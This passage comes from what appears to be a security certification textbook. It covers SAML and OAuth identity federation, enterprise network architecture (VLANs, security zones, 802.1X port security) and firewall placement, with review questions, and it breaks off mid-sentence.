IssueInstant="2020-01-01T20:00:10Z "
Destination="https://sp.foo/saml/acs"
InResponseTo="100".
<saml:Issuer>https://idp.foo/sso</saml:Issuer>
<ds:Signature>...</ds:Signature>
<samlp:Status>...(success)...</samlp:Status.
<saml:Assertion
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="2000"
Version="2.0"
IssueInstant="2020-01-01T20:00:09Z">
<saml:Issuer>https://idp.foo/sso</saml:Issuer>
<ds:Signature>...</ds:Signature>
  <saml:Subject>...
  <saml:Conditions>...
   <saml:AudienceRestriction>...
   <saml:AuthnStatement>...
   <saml:AttributeStatement>
      <saml:Attribute>...
      <saml:Attribute>...
   </saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>

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Open Authorization
Many public clouds use application programming interfaces (APIs) based on
Representational State Transfer (REST) rather than SOAP. These are called
RESTful APIs. Where SOAP is a tightly specified protocol, REST is a looser
architectural framework. This allows the service provider more choice over
implementation elements. Compared to SOAP and SAML, there is better support
for mobile apps.
Authentication and authorization for a RESTful API are often implemented using
the Open Authorization (OAuth) protocol. OAuth is designed to facilitate sharing
of information (resources) within a user profile between sites. The user creates a
password-protected account at an identity provider (IdP). The user can link that
identity to an OAuth consumer site without giving the password to the consumer
site. A user (resource owner) can grant an OAuth client authorization to access
some part of their account. A client in this context is an app or consumer site.
The user account is hosted by one or more resource servers. A resource server
is called an API server because it hosts the functions that allow OAuth clients
(consumer sites and mobile apps) to access user attributes. An authorization
server processes authorization requests. A single authorization server can manage
multiple resource servers; equally, the resource and authorization server could be
the same server instance.
The client app or service must be registered with the authorization server. As part
of this process, the client registers a redirect URL, which is the endpoint that will
process authorization tokens. Registration also provides the client with an ID and
a secret. The ID can be publicly exposed, but the secret must be kept confidential
between the client and the authorization server. When the client application
requests authorization, the user approves the authorization server to grant the
request using an appropriate method. OAuth supports several grant types—or
flows—for use in different contexts, such as server to server or mobile app to
server. Depending on the flow type, the client will end up with an access token
validated by the authorization server. The client presents the access token to the
resource server, which then accepts the request for the resource if the token is
valid.
OAuth uses the JavaScript Object Notation (JSON) Wweb Token (JWT) format
for claims data. JWTs can be passed as Base64-encoded strings in URLs and HTTP
headers and can be digitally signed for authentication and integrity.

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Review Activity:
Identity Management
7

Answer the following questions:

1. What is the purpose of implementing LDAP?

2. True or false? The following string is an example of a distinguished name:

CN=ad, DC=515support,DC=com.

3. True or false? In order to create a service ticket, Kerberos passes the

user’s password to the target application server for authentication.

4. You are consulting with a company about a new approach to

authenticating users. You suggest there could be cost savings and better
support for multifactor authentication (MFA) if your employees create
accounts with a cloud provider. That allows the company’s staff to focus
on authorizations and privilege management. What type of service is the
cloud vendor performing?

5. You are working on a cloud application that allows users to log on with
social media accounts over the web and from a mobile application.
Which protocols would you consider, and which would you choose as
most suitable?

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Lesson 4
Summary
6

You should be able to assess the design and use of authentication products in
terms of meeting confidentiality, integrity, and availability requirements. Given
a product-specific setup guide, you should be able to implement protocols and
technologies such as MFA, passwordless authentication, Kerberos SSO, and
federated identity management.

Guidelines for Implementing Identity and

Access Management
Follow these guidelines when you implement authentication controls:
• Assess the design requirements for confidentiality, integrity, and availability
given the context for the authentication solution (private network, public web,
VPN gateway, or physical site premises, for instance).

• Determine whether multifactor authentication (MFA) or passwordless

authentication is required, and which hardware token or biometric technologies
would meet the requirement:

• Ownership factors include smart cards, OTP keys/fobs and security keys, and
OTP authenticator apps installed on a trusted device.

• Biometric technologies include fingerprint and face with efficacy determined

by metrics such as FAR, FRR, CER, speed, and accessibility.

• Two-step verification can provide an additional token to a trusted device or

account via SMS, phone call, email, or push notification.

• Password managers can provide better security for password authentication.

• Establish requirements for access control between discretionary, mandatory,

role-based, and attribute-based models and whether the scope must include
federated services (on-premises and cloud, for instance).

• Configure accounts/roles and resources with the appropriate permissions

settings using the principle of least privilege.

• Configure account policies to protect integrity:

• Credential policies to ensure the protection of standard and privileged

accounts, including secure password selection.

• Account policies to apply conditional access based on location and time.

• Establish provisioning procedures to issue digital identities and account

credentials securely.

• Establish deprovisioning procedures to remove access privileges when

employees or contractors leave the company.

• Implement SAML or OAuth to facilitate single sign-on between on-premises

networks and cloud services/applications.

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 Lesson 5
Secure Enterprise Network
Architecture
1

LESSON INTRODUCTION
Managing user authentication and authorization is only one part of building secure
information technology services. The network infrastructure must also be designed
to run services with the properties of confidentiality, integrity, and availability. While
design might not be a direct responsibility for you at this stage in your career, you
should understand the factors that underpin design decisions, so that you can
assist with analysis and planning.

Lesson Objectives
In this lesson, you will do the following:
• Compare and contrast security implicatons of different on-premises network
architecture models.

• Apply security principles to secure on-premises network architecture.

• Select effective controls to secure on-premises network architecture.

• Ensure secure communications for remote access and tunneling.

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Topic 5A
Enterprise Network Architecture
2

EXAM OBJECTIVES COVERED

3.1 Compare and contrast security implications of different architecture models.
3.2 Given a scenario, apply security principles to secure enterprise infrastructure.

While you may not be responsible for network design in your current role, it is
important that you understand the vulnerabilities that can arise from weaknesses
in network architecture, and some of the general principles for ensuring a well-
designed network. This will help you to contribute to projects to improve resiliency
and to make recommendations for improvements.

Architecture and Infrastructure Concepts

Network architecture means the selection and placement of media, devices,
protocols/services, and data assets:
• Network infrastructure is the media, appliances, and addressing/forwarding
protocols that support basic connectivity.

• Network applications are the services that run on the infrastructure to support
business activities, such as processing invoices or sending email.

• Data assets are the information that is created, stored, and transferred as a
result of business activity.

Secure network infrastructure and application architecture are put there to support
secure business workflows. A workflow is a series of tasks that a business needs
to perform, such as accepting customer orders from a web store. Remember that
security means the attributes of confidentiality, integrity, and availability.
Analyzing the systems involved in provisioning email can illustrate the sorts of
architecture decisions that need to be made:
• Access—the client device must access the network via a physical channel and
obtain a logical address. The user must be authenticated and authorized to use
the email application. The corollary is that unauthorized users and devices must
be denied access.

• Email mailbox server—the mailbox stores data assets and must only be
accessed by authorized clients, and conversely, must be fully available and
fault tolerant to support the genuine user. The email service must run with a
minimum number of dependencies over network infrastructure that is resilient
to faults.

• Mail transfer server—this must connect with untrusted Internet hosts, so

communications between the untrusted network and trusted LAN must be
carefully controlled. Any data or software leaving or entering the network
must be subject to policy-based controls.

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This type of business flow will involve systems with different security requirements.
Placing the client, the mailbox, and the mail transfer server all within the same
segment will introduce many vulnerabilities. Understanding and controlling how
data flows between these network segments is a key part of secure and effective
network architecture design.

Network Infrastructure
It is helpful to use a layer model to analyze network infrastructure and services. The
Open Systems Interconnection (OSI) model is a widely quoted example of how to
define layers of network functions.
A network is comprised of nodes and links. At the physical (PHY) layer, or layer 1 in
the OSI model, links are implemented as twisted-pair cables transmitting electrical
signals, fiber optic cables carrying infrared light signals, or as wireless devices
transmitting radio waves.
There are two types of nodes. A host node is one that initiates data transfers. Hosts
are usually either servers or clients. An intermediary node forwards traffic around the
network. This forwarding occurs at different layers and with different scopes. A network
scope of a single site is referred to as a local area network (LAN). Networks that span
metropolitan, country-wide, or global scopes are called wide area networks (WANs).
Each network node must be identifiable via a unique address. This addressing
function also takes place at different layers with different scopes.
Forwarding and addressing functions are handled by the following network
appliances and protocols:
• Switches forward frames between nodes in a cabled network. The network
adapter in each host is connected to a switch port via a cable. Switches work
at layer 2 of the OSI model. Most LANs use networks based on the Ethernet
standard. An Ethernet switch makes forwarding decisions based on the
hardware or media access control (MAC) address of attached hosts. A MAC
address is a 48-bit value written in hexadecimal notation, such as 00-15-5D-01-
CA-4A. This addressing works within the local network segment only. This is
referred to as a broadcast domain.

Appliances, protocols, and addressing functions within the OSI network layer reference model.
(Images © 123RF.com.)

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• Wireless access points provide a bridge between a cabled network and wireless
hosts, or stations. Access points work at layer 2 of the OSI model. Wireless
devices also use MAC addressing at layer 2.

• Routers send packets around an internetwork, making forwarding decisions

based on Internet Protocol (IP) addresses. Routers work at layer 3 of the OSI
model. Each local segment will normally have a router connected to it. The
router acts as a default gateway for hosts on the segment to use to send packets
to other segments.

• Transport protocols allow clients to exchange data with application servers.

The Transmission Control Protocol (TCP) establishes reliable connections, while
the User Datagram Protocol (UDP) allows unreliable, connectionless transfers.
Each application protocol is identified by a TCP or UDP port. This functionality is
defined at layer 4 of the OSI model.

• Application protocols support client/server functionality for user-level services,

such as web browsing, email, and file transfer. Application protocols work at
layer 7 of the OSI model.

• Domain Name System (DNS) servers host name records and perform name
resolution to allow applications and users to address hosts and services using
fully qualified domain names (FQDNs) rather than IP addresses. DNS also works
at layer 7 of the OSI model, but is an infrastructure service, rather than a user-
level service, like web browsing.

The OSI model has three upper layers. In practical terms, distinguishing the functions of
layers 5, 6, and 7 isn't that helpful, so just think of applications working at layer 7.

Switching Infrastructure Considerations

The basic function of network infrastructure is to forward traffic from one node
to another. At each layer, nodes and links are arranged in a topology that best fits
the application workflows in terms of performance and security. A topology is a
diagram showing how nodes are physically or logically connected by links.
An on-premises network is one installed to a single site and operated by a single
company. This can also be referred to as an enterprise local area network (LAN).
We will focus on this type of network first, and review the architecture of cloud and
embedded systems networks later.
On-premises switching infrastructure starts with the cable layout. Offices and
multi-building campus networks are typically installed in a standard way, referred to
as structured cabling:
• Wall ports provide connectivity for each workstation. A patch cable connects the
network adapter in the PC or laptop to the wall port.

• Structured cabling is run from each wall port through wall and ceiling conduits or
voids to a patch panel.

• Another patch cable connects the port on the patch panel port to a switch port.

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Physical topology of components in a structured cabling system.

This can be described as a star topology. The switch sits at the center with links
to hosts radiating out. The switch can establish data links between any two hosts
that are attached to it. Also, if a host sends a broadcast to all local nodes, the
switch ensures that it is received by all the connected hosts. This is referred to as a
broadcast domain. The hosts are all part of the same layer 2 local network segment.
This basic star topology exhibits a number of issues. Broadcast domains with
hundreds of hosts suffer performance penalties. The network segment is also “flat”
in terms of security. Any host can communicate freely with any other host in the
same segment.

“Freely” means that no network appliances or policies are preventing communications.

Each host may be configured with access rules or host firewalls or other security tools
to prevent access, but the “view from the network” is that hosts in the same segment are
all free to attempt to communicate.

These drawbacks mean that large networks use a hierarchical design with two or
three forwarding layers. In the hierarchical design, there are a number of blocks
served by access switches. Each access block is a star topology for a group or block
of network hosts served by an access switch. The access switches are connected
by routers. These routers create separate broadcast domains and can control the
flow of traffic between blocks. As each block can have different access policies, this
topology allows the creation of a zone-based security model.

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Network with a basic hiearchical structure. Access switches implement blocks of hosts with similar
security properties, such as printers, workstations, servers, and guest devices. Communications
within a block uses MAC addressing and the forwarding function of the access switch.
Communications between these blocks must flow through routers in a core layer and
uses IP addressing.

You will often see the term "layer 3 switch". These are appliances that implement the
core network. They perform a combination of routing and switching. There are many
types of switches with different roles to play in on-premises and datacenter network
architectures.

While client workstations connect to network switches via wall ports and patch panels,
servers and core networking appliances are usually installed to a separate, secure area,
referred to as an equipment room or server room. Server computers can be connected
directly to switch ports using patch cables.

Routing Infrastructure Considerations

Layer 3 forwarding, or routing, applies a logical addressing scheme to identify each
network. Layer 3 architecture represents the logical segmentation of networks
and the creation of networks within networks, or subnetworks (subnets). Each
subnet is a separate broadcast domain. At layer 3, nodes are identified by Internet
Protocol (IP) addresses and links are identified by routes.

Internet Protocol
Internet Protocol (IP) provides the addressing mechanism for logical networks and
subnets. A 32-bit IP version 4 (IPv4) address is written in dotted decimal notation,
with either a network prefix or subnet mask to divide the address into network
ID and host ID portions. For example, in the IP address 10.1.1.0/24, the /24 prefix
indicates that the first three-quarters of the address (10.1.0.x) is the network ID,

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while the remainder uniquely identifies a host on that network. This /24 prefix can
also be written as a subnet mask in the form 255.255.255.0.
In the hierarchical network architecture, each access block can be designated as a
separate IP subnet. This system of layer 3 logical addressing makes it easier to write
access control rules for what traffic is allowed to flow between blocks or zones.

Each access block has been allocated a subnet. The guest network is logically separate
from the enterprise LAN and uses a completely different IP network.

Networks can also use 128-bit IPv6 addressing. IPv6 addresses are written using hex
notation in the general format: 2001:db8::abc:0:def0:1234. In IPv6, the last 64-bits
are fixed as the host’s interface ID. The first 64-bits contain network information in
a set hierarchy. For example, an ISP’s routers can use the first 48-bits to determine
where the network is hosted on the global Internet. Within that network, the site
administrator can use the 16-bits remaining (out of 64) to divide the local network
into subnets.

A packet that is sent via IP has to be forwarded using layer 2 addressing. IPv4 uses the
Address Resolution Protocol (ARP) to map a host's IP interface to a MAC address. IPv6
uses the Neighbor Discovery (ND) protocol for the same purpose.

Virtual LANs
Mapping the logical IP topology to physical hardware switches is not always
straightforward. This problem is addressed by the virtual LAN (VLAN) feature
supported by most switches. All switches connected together on the same on-
premises network can be configured with a consistent set of VLAN IDs. A VLAN ID
is a value from 2 to 4,094. Any given switch port can be assigned to a specific VLAN,
regardless of the physical location of the switch. Different ports on the same switch
can be assigned to different VLANs.

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Each VLAN is a separate broadcast domain. Any traffic sent from one VLAN to
another must be routed. This means that the segmentation enforced by VLANs
at layer 2 can be mapped to logical divisions defined by IP subnets at layer 3.

Configuring VLANs allows segmentation of hosts attached to the same switch. Each VLAN has a
separate subnet. Traffic between hosts in different VLANs must go via the router or layer 3 switch.

In the diagram above, the access block for client devices uses two VLANs to
segment workstation computer hosts (VLAN32) from Voice over Internet Protocol
(VoIP) handsets (VLAN40). The VLANs map to two subnets: 10.1.32.0/24 and
10.1.40.0/24.
A VoIP handset with IP address 10.1.40.100 would need to use a router to contact a
computer host with IP 10.1.32.100. The two hosts might be connected to the same
switch, but the VLAN configuration prevents them from communicating with one
another directly. Additionally, an access control rule configured on the router could
prevent this type of communication if it were deemed a risk to security.
The VLAN topology can be extended across multiple switches. Consider the scenario
where the office expands to a second floor, which requires an additional switch
appliance to provision sufficient ports. The same VLAN IDs and subnets could be
configured for floor two, making devices on the two floors part of the same two
workstation and VoIP segments.

Security Zones
The network architecture features that create segments mapped to subnets allow
the creation of a zone-based security topology. On-premises networks have a clear
organizational boundary at the network perimeter. Hosts outside the perimeter are
in a public Internet zone and are untrusted. Hosts within the perimeter will have
different levels of trust and access control requirements.
To map out the internal security topology, analyze the systems and data assets that
support workflows and identify ones that have similar access control requirements:
• Database and file systems that host company data and personal data should
prioritize confidentiality and integrity. Data should not usually be held within a
single zone, however. Think about the impact when a zone is compromised.

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If a single zone stores all types of data assets, the impact will be extremely high.
Separating different kinds of information into different zones will reduce the
breach’s impact.

• Client devices need to prioritize integrity and availability. These devices should
not store data and therefore have a lower confidentiality requirement.

• Public-facing application servers (web, email, remote access, and so on) should
also prioritize integrity and availability. They should not store sensitive data, such
as account credentials. Publicly accessible servers must not be considered fully
trusted.

• Application servers that support the network infrastructure (authentication,

directory, and monitoring/logging, for example) must exhibit high levels of
confidentiality, integrity, and availability. Any compromise of these services could
have catastrophic impacts.

This analysis will generate a list of the security zones needed. The network
architecture and security control infrastructure must ensure that these zones
are segregated from one another by physical and/or logical segmentation. Traffic
between zones should be strictly controlled using a security device, typically a
firewall. Traffic policies should apply the principle of least privilege.

Hosts are trusted in the sense that they are under administrative control and subject to
the security mechanisms (antivirus software, user rights, software updating, and so on)
that have been set up to defend the network.

A zone must have a known entry and exit point. For example, if the only authorized
access point for a zone is a router, placing a wireless access point within the zone would
be a security violation.

Network diagram showing security zone privilege levels and simplified access rules.

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The diagram illustrates how traffic between hosts in zones with different privilege
sensitivities can be subject to access controls:
1. A low privilege zone containing hosts that are difficult to secure and patch,
such as printers, can accept connections but cannot initiate requests to any
other hosts.

2. Client devices on the enterprise LAN can make authorized requests in

different zones, such as to internal servers or Internet websites, but cannot
accept new connection requests.

3. Hosts in a guest zone can access the Internet, but are not allowed to access
the enterprise LAN.

4. Public-facing servers can accept requests from the Internet but cannot initiate
requests to the enterprise LAN or to the Internet.

5. Where hosts are separated by VLANs within the same zone additional access
rules can be configured. For example, app servers should be able to make
requests from databases, but not vice versa.

Attack Surface
The network attack surface is all the points at which a threat actor could gain
access to hosts and services. It is helpful to use the layer model to analyze the
potential attack surface:
• Layer 1/2—allows unauthorized hosts to connect to wall ports or wireless
networks and communicate with hosts within the same broadcast domain.

• Layer 3—allows unauthorized hosts to obtain a valid network address, possibly

by spoofing, and communicate with hosts in other zones.

• Layer 4/7—allows unauthorized hosts to establish connections to TCP or UDP

ports and communicate with application layer protocols and services.

Additionally, you should consider the external/public attack surface separately from
the internal/private attack surface.
Each layer requires its own type of security controls to prevent, detect, and correct
attacks. Provisioning multiple control categories and functions to enforce multiple
layers of protection is referred to as defense in depth. Security controls deployed
to the network perimeter are designed to prevent external hosts from launching
attacks at any network layer. The division of the private network into segregated
zones is designed to mitigate risks from internal hosts that have either been
compromised or that have been connected without authorization.
Weaknesses in the network architecture make it more susceptible to undetected
intrusions or to catastrophic service failures. Typical weaknesses include the
following:
• Single points of failure—a “pinch point” relying on a single hardware server or
appliance or network channel.

• Complex dependencies—services that require many different systems to be

available. Ideally, the failure of individual systems or services should not affect
the overall performance of other network services.

• Availability over confidentiality and integrity—often it is tempting to take

“shortcuts” to get a service up and running. Compromising security might
represent a quick fix but creates long-term risks.

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• Lack of documentation and change control—network segments, appliances,

and services might be added without proper change control procedures, leading
to a lack of visibility into how the network is constituted. It is vital that network
managers understand business workflows and the network services that
underpin them.

• Overdependence on perimeter security—if the private network architecture

is “flat” (that is, if any host can contact any other host), penetrating the network
edge gives the attacker freedom of movement.

Port Security
Each wall port and switch port represents an opportunity for a threat actor to attach
a device to the network. A threat actor who can operate a host with physical access
to a network segment can launch a variety of attacks.
Access to the physical switch ports and switch hardware should be restricted
to authorized staff. To accomplish this place the switch appliances in secure
server rooms and/or lockable hardware cabinets. To prevent the attachment of
unauthorized client devices at unsecured wall ports, the switch port that the wall
port cabling connects to can be administratively disabled, or the patch cable can be
physically removed from the switch port. Completely disabling ports in this way can
introduce a lot of administrative overhead and allow room for error. Also, it doesn’t
provide complete protection, as an attacker could unplug a device from an enabled
port and connect their own machine. Consequently, more sophisticated methods of
ensuring port security have been developed.

MAC Filtering and MAC Limiting

The network adapter in each host computer is identified by a MAC address.
Configuring MAC filtering means a switch port only permits certain MAC addresses
to connect. This can be done by creating a list of valid MAC addresses or by
specifying a limit to the number of permitted addresses. For example, if port
security is enabled with a maximum of two MAC addresses, the switch will record
the first two MACs to connect to that port. The switch then drops any traffic from
machines with different MAC addresses that try to connect.

Configuring ARP inspection on a Cisco switch. (Courtesy of Cisco Systems, Inc. Unauthorized
use not permitted.)

802.1X and Extensible Authentication Protocol

Restricting access by MAC address is difficult to manage and still prone to spoofing.
Better security is obtained by forcing computers and/or users to authenticate
before full network access is granted. The IEEE 802.1X Port-based Network
Access Control (PNAC) standard allows a switch to require authentication when a
host connects to one of its ports. 802.1X uses authentication, authorization, and
accounting (AAA) architecture:

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• Supplicant—is the device requesting access such as a user’s PC or laptop.

• Authenticator—is the switching device (or any type of network access

appliance). This does not validate authentication requests directly but acts as a
conduit for authentication data.

• Authentication server—the server that holds or can contact a directory

of network objects and that can validate authentication requests, issue
authorizations, and perform accounting of security events.

The 802.1X standard is implemented by two protocols:

• Extensible Authentication Protocol (EAP)— provides a framework for
deploying multiple types of authentication methods. It is often used with
digital certificates to establish a trust relationship and create a secure tunnel to
transmit the user credential or to perform smart-card authentication without a
password.

• Remote Authentication Dial-In User Service (RADIUS)—allows the

authenticator and authentication server to communicate authentication and
authorization decisions. The authenticator is a RADIUS client; the authentication
server is a RADIUS server.

When a host connects to an 802.1X-enabled switch port, the switch opens the
port for the EAP over LAN (EAPoL) protocol only. The switch port only allows full
data access when the host has been authenticated. The switch receives an EAP
packet with the supplicant’s credentials. These are encrypted and cannot be read
by the switch. The switch uses the RADIUS protocol to send the EAP packet to the
authentication server. The authentication server can access the directory of user
accounts and can validate the credential. If authentication is successful, it informs
the switch that full network access can be granted.

IEEE 802.1X Port-based Network Access Control with RADIUS and EAP authentication.
(Images © 123RF.com.)

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Physical Isolation
Some hosts are so security-critical that it is unsafe to connect them to any type of
network. One example is the root certification authority in PKI. Another example is
a host used to analyze malware execution. A host that is not physically connected to
any network is said to be air-gapped.
It is also possible to configure an air-gapped network. This means that hosts within
the air-gapped network can communicate, but there is no cabled or wireless
connection to any other network. Military bases, government sites, and industrial
facilities use air-gapped networks.
Physically isolating a host or group of hosts improves security but also incurs
significant management challenges. Device administration has to be performed at
a local terminal. Any updates or installs have to be performed using USB or optical
media. This media is a potential attack vector and must be scanned before allowing
its use on an air-gapped host.

Architecture Considerations
When evaluating the use of a particular architecture and selecting effective controls,
consider a number of factors:
• Costs—like architecture changes and the acquisition and upgrade of appliances
and software require an up-front capital outlay, which can depreciate and lose
value. There are also ongoing maintenance and support liabilities. The value of
the investment in security architecture and controls can be calculated based on
how much they reduce losses from incidents.

• Compute and responsiveness—minimize processing time for workloads. A

workload is the processing effort required to complete a task, such as a web
server responding to a client request. Each network device requires sufficient
CPU, system memory, storage, and network bandwidth resources to ensure an
acceptable response time for a given workload. Higher compute resources incur
greater costs.

• Scalability and ease of deployment—minimize costs when workloads increase

or decrease. If workloads decrease it can be difficult to recover capital costs. If
workloads increase it can be difficult to deploy new nodes or upgrade existing
nodes to maintain responsiveness. A scalable system is one that can quickly or
automatically add or remove compute resources without incurring excessive
costs.

• Availability—minimizes downtime or maximizes uptime. Downtime represents

the loss of opportunity to do work, damaging the business’s reputation, revenue,
and profitability. Downtime can be due to planned maintenance or unplanned
failures and security incidents.

• Resilience and ease of recovery—reduce the time to recover from a failure. For
example, a system that recovers from a failure without manual intervention is
more resilient than one that requires an administrator to restart it.

• Power—is a feature that ensures the facility can meet the energy demands of
its devices and workloads. Power usage through higher compute resources
increases costs. Ensuring that the building infrastructure minimizes power
failures improves availability.

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• Patch availability—ensures that firmware and software code is protected

against exploits for known vulnerabilities. Conversely, the network owner cannot
manage this process when they rely on a third party to maintain infrastructure
or when a device or software product is no longer supported by its vendor.

• Risk transference—is a contract that uses a third party to manage the network
infrastructure. A service-level agreement (SLA) can be defined with penalties
if metrics for responsiveness, scalability, availability, and resilience are not
maintained.

On-premises networks tend to have high capital costs and low scalability. For
example, consider the difficulty of increasing bandwidth from 1 Gbps to 10 Gbps
operation across the entire site. This would likely require the installation of new
cable throughout the building. Recovery procedures can be complex if the site
premises is affected by a large-scale disaster. This means that availability and
resilience can be lower than alternative solutions such as cloud networking.

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Review Activity:
Enterprise Network Architecture
3

Answer the following questions:

1. A company’s network contains client workstations and database servers

in the same subnet. Recently, this has enabled attackers to breach the
security of the database servers from a workstation compromised by
phishing malware. The company has improved threat awareness training
and upgraded antivirus software on workstations. What other change
will improve the security of the network’s design, and why?

2. A company must store archived data with very high confidentiality

and integrity requirements on the same site as its production network
systems. What type of architecture will best protect the security
requirements of the archive host?

3. Following a data breach perpetrated by an insider threat actor, a

company has relocated its on-premises servers to a dedicated equipment
room. The equipment room has a lockable door, and the servers are
installed to lockable racks. Access to keys is restricted to privileged
administrators and subject to sign-out procedures. True or false?
These security principles reduce the attack surface.

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4. A company wants to upgrade switches to enforce device authentication.

Which framework, standard, or protocol must the switch models
support?

5. Two companies are merging and want to consolidate employees at a

single site. Neither company’s on-premises networks have space to add
the 100 desktops required. Which consideration factor does the current
architecture model fail to address?

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Topic 5B
Network Security Appliances
6

EXAM OBJECTIVES COVERED

3.2 Given a scenario, apply security principles to secure enterprise infrastructure.

Given a zone-based network security architecture, network security appliances

ensure traffic that flows between and within zones meets access control policies.
The selection of controls based on their functions and attributes and their
appropriate placement within the topology is critical to ensuring effective network
security. This topic will help you to understand the considerations that must be
made when designing a security solution for a given scenario.

Device Placement
The selection of effective controls for network infrastructure is the process of
choosing the type and placement of security appliances and software. The aim
is to enforce segmentation, apply access controls, and monitor traffic for policy
violations.
The selection of effective controls is governed by the principle of defense in depth.
Defense in depth means that security-critical zones are protected by diverse
preventive, detective, and corrective controls operating at each layer of the OSI
model. Defense in depth is ensured through careful selection of device placement
within the network topology. There are three options:
• Preventive controls—are often placed at the border of a network segment or
zone. Preventive controls such as firewalls enforce security policies on traffic
entering and exiting the segment, ensuring confidentiality and integrity. A load
balancer control ensures high availability for access to the zone.

• Detective controls—might be placed within the perimeter to monitor traffic

exchanged between hosts within the segment. This provides alerting of
malicious traffic that has evaded perimeter controls.

• Preventive, detective, and corrective controls—might be installed on hosts as

a layer of endpoint protection in addition to the network infrastructure controls.

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Placement of security controls to ensure diversity and defense in depth.

As an illustration, the diagram shows how different control types can be positioned
within the network to ensure defense in depth:
1. At the network border, a preventive control such as a firewall enforces access
rules for ingress and egress traffic.

2. A sensor placed inline behind the border firewall relays traffic to an intrusion
detection system to implement detective control and identify malicious traffic
that has evaded the firewall.

3. Access control lists configured on internal routers enforce rules for traffic
being forwarded between internal zones and hosts.

4. Incoming traffic for public-facing servers can be mediated by a load balancer,

providing a corrective control to mitigate denial of service attacks.

5. Sensors attached to mirrored switch ports enable intrusion detection for the
most sensitive privilege level hosts or zones.

On each host, endpoint protection software applies a range of preventive, detective,

and corrective controls to mitigate threats that have evaded network controls.
Endpoint software can implement host firewalls, anti-virus, intrusion detection, and
data loss prevention.

Device Attributes
Attributes determine the precise way in which a device can be placed within the
network topology.

Active versus Passive

A passive security control is one that does not require any sort of client or agent
configuration or host data transfer to operate. For example, network traffic can be
directed or copied to a sensor and scanned by an analysis engine. This control is
completely passive. Hosts on the network would be unaware that it is operating.
The control has no addressable interface.

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An active security control that performs scanning must be configured with

credentials and access permissions and exchange data with target hosts. An active
control that performs filtering requires hosts to be explicitly configured to use
the control. This might mean installing agent software on the host, or configuring
network settings to use the control as a gateway.

Inline versus Tap/Monitor

A device that is deployed inline becomes part of the cable path. No changes in the
IP or routing topology are required. The device’s interfaces are not configured with
MAC or IP addresses.
As an example of inline versus monitored deployment options, controls that sniff
network traffic can be deployed via a sensor attached to a switch or via a tap
attached to a network cable:
• SPAN (switched port analyzer)/mirror port—this means that the sensor is
attached to a specially configured port on a switch that receives copies of frames
addressed to nominated access ports (or all the other ports). This method is not
completely reliable. Frames with errors will not be mirrored, and frames may be
dropped under heavy load.

• Test access point (TAP)—this is a box with ports for incoming and outgoing
network cabling and an inductor or optical splitter that physically copies the
signal from the cabling to a monitor port. There are types for copper and
fiber optic cabling. Unlike a SPAN, no logic decisions are made so the monitor
port receives every frame—corrupt or malformed or not—and the copying is
unaffected by load.

A TAP device is placed inline with the cable path, while a mirror port uses the switch to copy
frames to a detection system. The router/firewall is an active control as client devices must be
configured to use it for Internet access. The TAP and mirror ports are passive controls. The are
completely transparent to the server and client hosts.

Fail-Open versus Fail-Closed

A security device could enter a failure state for a number of reasons. There could
be a power or hardware fault, an unreconcilable policy violation, or a configuration
error. Hardware failure can be caused by power surges, overheating, and physical
damage. Software failure can occur because of bugs, security vulnerabilities, and
compatibility issues. Configuration issues can be caused by human errors such as
inattention, fatigue, or lack of training. Finally, devices or sites might be impacted by
natural disasters such as floods, hurricanes, and earthquakes.

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When it fails, a device can designed or configured to fail-open or fail-closed:

• Fail-open means that network or host access is preserved, if possible. This mode
prioritizes availability over confidentiality and integrity. The risk of a fail-open
control is that a threat actor could engineer a failure state to defeat the control.

• Fail-closed means that access is blocked or that the system enters the most
secure state available, given whatever failure occurred. This mode prioritizes
confidentiality and integrity over availability. The risk of a fail-closed control is
system downtime.

It may or may not be possible to configure the fail mode. For example, an inline
security appliance that suffers power failure will fail-closed unless there is an
alternative network path. Some devices designed to be installed inline have a
backup cable path that will allow a fail-open operation.

Firewalls
A firewall is a preventive control designed to enforce policies on traffic entering and
exiting a network zone.

Packet Filtering
A packet filtering firewall is configured by specifying a group of rules called an
access control list (ACL). Each rule defines a specific type of data packet and the
action to take when a packet matches the rule. A packet filtering firewall can inspect
the headers of IP packets. Rules are based on the information found in those
headers:
• IP filtering—accepts or denies traffic based on bits source and/or destination IP
address. Most firewalls can filter by MAC addresses.

• Protocol ID/type—is an IP packet that carries an identified protocol. Most

commonly, this is either TCP or UDP data. Other types include Internet Control
MessageProtocol (ICMP) diagnostic traffic and protocols that facilitate routing.

• Port filtering/security—accepts or denies a packet based on the source and

destination TCP/UDP port numbers.

If the action is configured to accept or permit, the firewall allows the packet to pass.
A drop or deny action silently discards the packet. A reject action blocks the packet
but responds to the sender with an ICMP message, such as “port unreachable”.
Separate ACLs filter inbound and outbound traffic. Controlling outbound traffic can
block applications not authorized to run on the network and defeat malware such
as backdoors.

Firewall Device Placement and Attributes

Firewalls can be implemented as various types of hardware appliances, or as
software running on a general computing host. Some types of firewalls are better
suited for placement at the network edge or zonal borders; others are designed to
protect individual hosts.
An appliance firewall is a stand-alone hardware firewall deployed to monitor
traffic passing into and out of a network zone. An appliance firewall can be
deployed in three ways:
• Routed (layer 3)—the firewall performs forwarding between subnets. Each
interface on the firewall connects to a different subnet and represents a
different security zone. Each interface is configured with an IP and MAC address.

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• Bridged (layer 2)—the firewall inspects traffic passing between two nodes,
such as a router and a switch. It bridges the Ethernet interfaces between the
two nodes, working like a switch. Despite performing forwarding at layer 2, the
firewall can still inspect and filter traffic on the basis of the full range of packet
headers. The firewall’s interfaces are configured with MAC addresses, but not IP
addresses.

• Inline (layer 1)—the firewall acts as a cable segment. The two interfaces don’t
have MAC or IP addresses. Traffic received on one interface is either blocked
or forwarded over the other interface. This is also referred to as virtual wire or
bump-in-the-wire.

Both bridged and inline firewall modes can be referred to as transparent modes.
The typical use case for a transparent mode is to deploy a firewall without having
to reconfigure subnets and reassign IP addresses on other devices. For example,
you could deploy a transparent firewall in front of a web server host without having
to change the host’s IP address. Alernatively, this type of firewall could be placed
between a router and a switch.

A transparent firewall needs an additional interface for management and configuration.

This does have an IP address. A routed firewall can either have a dedicated
management interface or accept management traffic on any interface. Using a
dedicated management interface is more secure.

Status dashboard for the OPNsense open-source security platform. (Screenshot courtesy
of OPNsense.)

A router firewall or firewall router appliance implements filtering functionality as

part of the router firmware. The difference is that a router appliance is primarily
